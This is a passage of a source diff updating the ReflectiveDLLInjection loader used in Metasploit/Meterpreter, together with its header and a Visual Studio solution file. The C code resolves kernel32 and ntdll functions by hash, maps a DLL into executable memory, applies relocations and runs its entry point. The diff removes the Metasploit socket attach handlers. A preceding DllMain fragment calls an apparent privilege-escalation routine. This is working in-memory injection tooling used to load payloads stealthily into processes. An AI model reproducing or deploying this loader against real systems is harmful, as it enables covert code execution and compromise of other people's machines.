case L_ERROR: dprintf( "[!] %s\n", Buffer); break;
}
//fflush(stdout);
//flush(stderr);
return TRUE;
}
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
hAppInstance = hinstDLL;
elevator_complex_path();
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
@@ -1,5 +1,5 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
@@ -30,17 +30,14 @@
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#ifdef _WIN64
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
@@ -49,54 +46,43 @@ __declspec(noinline) UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA;
GETPROCADDRESS pGetProcAddress;
VIRTUALALLOC pVirtualAlloc;
VIRTUALLOCK pVirtualLock;
OUTPUTDEBUG pOutputDebug;
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
UINT_PTR uiLibraryAddress;
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
UINT_PTR uiBaseAddress;
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
UINT_PTR uiAddressArray;
UINT_PTR uiNameArray;
UINT_PTR uiExportDir;
UINT_PTR uiNameOrdinals;
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
UINT_PTR uiHeaderValue;
UINT_PTR uiValueA;
UINT_PTR uiValueB;
UINT_PTR uiValueC;
UINT_PTR uiValueD;
UINT_PTR uiValueE;
register UINT_PTR inspect;
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our current EIP
#ifdef _WIN64
uiLibraryAddress = eip();
#else
__asm {
call geteip
geteip:
pop uiLibraryAddress
}
#endif
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
@@ -117,105 +103,164 @@ geteip:
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef _WIN64
uiBaseAddress = __readgsqword( 0x60 );
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the module name is in lowercase
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
break;
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 5;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALLOCK_HASH )
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == OUTPUTDEBUG_HASH )
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
@@ -223,26 +268,23 @@ geteip:
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// prevent our image from being swapped to the pagefile
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
// iterate through all sections, loading them into memory.
while( uiValueE-- )
{
// uiValueB is the VA for this section
@@ -253,38 +295,28 @@ geteip:
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + (UINT_PTR)((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
/*
pOutputDebug("Loading library: ");
pOutputDebug((LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ));
pOutputDebug("\n");
*/
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
if (! uiLibraryAddress) {
//pOutputDebug("Loading library FAILED\n");
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
continue;
}
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
@@ -302,7 +334,7 @@ geteip:
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
@@ -320,42 +352,35 @@ geteip:
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
/*
pOutputDebug("Resolving function: ");
pOutputDebug((LPCSTR)( (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ));
pOutputDebug("\n");
*/
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( UINT_PTR );
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( UINT_PTR );
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if there are any relocations present
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we iterate through all entries...
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
@@ -374,9 +399,42 @@ geteip:
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
@@ -391,34 +449,14 @@ geteip:
}
}
// STEP 6: process the images exception directory if it has one (PE32+ for x64)
/*
// uiValueB = the address of the relocation directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
// check if their are any exception etries present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// get the number of entries
uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all entries
while( uiValueA-- )
{
//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
// get the next entry
uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
}
}
*/
// STEP 7: call our images entry point
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
@@ -428,52 +466,17 @@ geteip:
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function...
extern DWORD DLLEXPORT Init( SOCKET socket );
BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket );
return TRUE;
}
BOOL MetasploitDllDetach( DWORD dwExitFunc )
{
switch( dwExitFunc )
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter( NULL );
break;
case EXITFUNC_THREAD:
ExitThread( 0 );
break;
case EXITFUNC_PROCESS:
ExitProcess( 0 );
break;
default:
break;
}
return TRUE;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
break;
case DLL_METASPLOIT_DETACH:
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
break;
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
@@ -1,5 +1,5 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
@@ -14,7 +14,7 @@
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
@@ -25,34 +25,37 @@
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
#define EXITFUNC_SEH 0xEA320EFE
#define EXITFUNC_THREAD 0x0A2A1DE0
#define EXITFUNC_PROCESS 0x56A2B5F0
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T);
typedef LPVOID (WINAPI * OUTPUTDEBUG)(LPCSTR);
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define VIRTUALLOCK_HASH 0x0ef632f2
#define OUTPUTDEBUG_HASH 0x470d22bc
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define HASH_KEY 13
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
@@ -61,8 +64,6 @@ __forceinline DWORD ror( DWORD d )
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
@@ -74,7 +75,6 @@ __forceinline DWORD hash( char * c )
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
@@ -197,8 +197,6 @@ typedef struct
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual C++ Express 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
